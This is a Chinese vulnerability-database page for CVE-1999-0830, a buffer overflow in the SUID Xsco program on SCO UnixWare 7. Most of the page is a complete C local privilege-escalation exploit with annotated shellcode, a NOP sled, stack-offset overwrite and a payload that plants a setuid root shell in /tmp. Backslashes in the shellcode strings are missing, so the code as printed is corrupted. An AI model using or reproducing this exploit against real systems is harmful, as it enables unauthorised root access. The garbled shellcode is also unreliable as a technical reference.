SCO UnixWare Xsco命令缓冲区溢出漏洞

SCO UnixWare Xsco命令缓冲区溢出漏洞

漏洞ID 1105619 漏洞类型 缓冲区溢出
发布时间 1999-11-25 更新时间 2005-10-20
图片[1]-SCO UnixWare Xsco命令缓冲区溢出漏洞-安全小百科CVE编号 CVE-1999-0830
图片[2]-SCO UnixWare Xsco命令缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-199911-005
漏洞平台 SCO CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19641
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199911-005
|漏洞详情
SCOUnixWareXsco命令中存在缓冲区溢出漏洞。可以借助于一个长参数导致该漏洞。
|漏洞EXP
source: http://www.securityfocus.com/bid/824/info

Under certain versions of Unixware, the SUID program Xsco is vulnerable to a buffer overflow attack. The problem lies in that Xsco does not sanity check user supplied data. 

// UnixWare7 /usr/X/bin/Xsco local, K2/cheez
//
// Xsco produces some strange side effect's with the execve; it seems
// that commands can not be run interactively.  Thanks to cheez for the
// shellcode.

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


char shell[] =
/*   0 */ "xebx5f"                         /* jmp springboard       */
/* syscall:                                                           */
/*   2 */ "x9axffxffxffxffx07xff"     /* lcall 0x7,0x0         */
/*   9 */ "xc3"                             /* ret                   */
/* start:                                                             */
/*  10 */ "x5e"                             /* popl %esi             */
/*  11 */ "x31xc0"                         /* xor %eax,%eax         */
/*  13 */ "x89x46x9d"                     /* movl %eax,-0x63(%esi) */
/*  16 */ "x88x46xa2"                     /* movb %al,-0x5e(%esi)  */
/* seteuid:                                                           */
/*  19 */ "x31xc0"                         /* xor %eax,%eax         */
/*  21 */ "x50"                             /* pushl %eax            */
/*  22 */ "xb0x8d"                         /* movb $0x8d,%al        */
/*  24 */ "xe8xe5xffxffxff"             /* call syscall          */
/*  29 */ "x83xc4x04"                     /* addl $0x4,%esp        */
/* setuid:                                                            */
/*  32 */ "x31xc0"                         /* xor %eax,%eax         */
/*  34 */ "x50"                             /* pushl %eax            */
/*  35 */ "xb0x17"                         /* movb $0x17,%al        */
/*  37 */ "xe8xd8xffxffxff"             /* call syscall          */
/*  42 */ "x83xc4x04"                     /* addl $0x4,%esp        */
/* execve:                                                            */
/*  45 */ "x31xc0"                         /* xor %eax,%eax         */
/*  47 */ "x50"                             /* pushl %eax            */
/*  48 */ "x56"                             /* pushl %esi            */
/*  49 */ "x8bx1e"                         /* movl (%esi),%ebx      */
/*  51 */ "xf7xdb"                         /* negl %ebx             */
/*  53 */ "x89xf7"                         /* movl %esi,%edi        */
/*  55 */ "x83xc7x10"                     /* addl $0x10,%edi       */
/*  58 */ "x57"                             /* pushl %edi            */
/*  59 */ "x89x3e"                         /* movl %edi,(%esi)      */
/*  61 */ "x83xc7x08"                     /* addl $0x8,%edi        */
/*  64 */ "x88x47xff"                     /* movb %al,-0x1(%edi)   */
/*  67 */ "x89x7ex04"                     /* movl %edi,0x4(%esi)   */
/*  70 */ "x83xc7x03"                     /* addl $0x3,%edi        */
/*  73 */ "x88x47xff"                     /* movb %al,-0x1(%edi)   */
/*  76 */ "x89x7ex08"                     /* movl %edi,0x8(%esi)   */
/*  79 */ "x01xdf"                         /* addl %ebx,%edi        */
/*  81 */ "x88x47xff"                     /* movb %al,-0x1(%edi)   */
/*  84 */ "x89x46x0c"                     /* movl %eax,0xc(%esi)   */
/*  87 */ "xb0x3b"                         /* movb $0x3b,%al        */
/*  89 */ "xe8xa4xffxffxff"             /* call syscall          */
/*  94 */ "x83xc4x0c"                     /* addl $0xc,%esp        */
/* springboard:                                                       */
/*  97 */ "xe8xa4xffxffxff"             /* call start            */
/* data:                                                              */
/* 102 */ "xffxffxffxff"                 /* DATA                  */
/* 106 */ "xffxffxffxff"                 /* DATA                  */
/* 110 */ "xffxffxffxff"                 /* DATA                  */
/* 114 */ "xffxffxffxff"                 /* DATA                  */
/* 118 */ "x2fx62x69x6ex2fx73x68xff" /* DATA                  */
/* 126 */ "x2dx63xff";                    /* DATA                  */

#define SIZE 600
#define NOPDEF 101
#define DEFOFF -240
#define LEN 102

const char x86_nop=0x90;
long nop=NOPDEF,esp;
long offset=DEFOFF;
char buffer[SIZE];

long get_esp() { __asm__("movl %esp,%eax"); }

int main (int argc, char *argv[]) {
    int i,len;
    char *cmd = "cp /bin/ksh /tmp;chmod 4555 /tmp/ksh";

    memset(buffer, x86_nop, SIZE);

    len = strlen(cmd); len++; len = -len;
    shell[LEN+0] = (len >>  0) & 0xff;
    shell[LEN+1] = (len >>  8) & 0xff;
    shell[LEN+2] = (len >> 16) & 0xff;
    shell[LEN+3] = (len >> 24) & 0xff;

    if (argc > 1) offset += strtol(argv[1], NULL, 0);
    if (argc > 2) nop += strtoul(argv[2], NULL, 0);
    esp = get_esp();

    buffer[0]=':';
    memcpy(buffer+nop, shell, strlen(shell));
    memcpy(buffer+nop+strlen(shell), cmd,strlen(cmd));
    memcpy(buffer+nop+strlen(shell)+strlen(cmd),"xff",1);
    for (i = nop+strlen(shell)+1+strlen(cmd); i < SIZE-4; i += 4) {
        *((int *) &buffer[i]) = esp+offset;
    }

    printf("jmp = [0x%x]toffset = [%d]tnop = [%d]n",esp+offset,offset, nop);
    execl("/usr/X/bin/Xsco", "Xsco", buffer, NULL);

    printf("exec failed!n");
    return 0;
}
|参考资料
VulnerablesoftwareandversionsConfiguration1OR*cpe:/o:sco:unixware:7.0*DenotesVulnerableSoftware*ChangesrelatedtovulnerabilityconfigurationsTechnicalDetailsVulnerabilityType(ViewAll)CVEStandardVulnerabilityEntry:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0830

相关推荐: Netscape SuiteSpot Read/Writeable Admin Password Vulnerability

Netscape SuiteSpot Read/Writeable Admin Password Vulnerability 漏洞ID 1103972 漏洞类型 Access Validation Error 发布时间 2000-07-11 更新时间 2000…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享